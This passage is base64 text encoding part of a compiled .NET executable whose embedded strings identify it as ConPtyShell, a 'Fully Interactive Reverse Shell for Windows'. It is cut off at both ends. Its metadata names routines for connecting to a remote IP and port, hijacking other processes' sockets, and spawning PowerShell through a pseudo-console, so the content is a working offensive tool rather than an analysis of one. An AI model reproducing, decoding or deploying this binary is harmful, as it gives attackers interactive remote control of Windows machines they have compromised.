M0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWAQAFAD4WAQAGAEQWAAABAM0QAAACAEoWAAADAE8WAAABAFgWAAABAGIWAAABADwQAgACAE4QAAABAM0QAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAEsTAAABAEsTAAABAHQWAAACAH0WAAABAJAWAAACAJwWAAADAKEWAAABAPMWAAACA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0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwB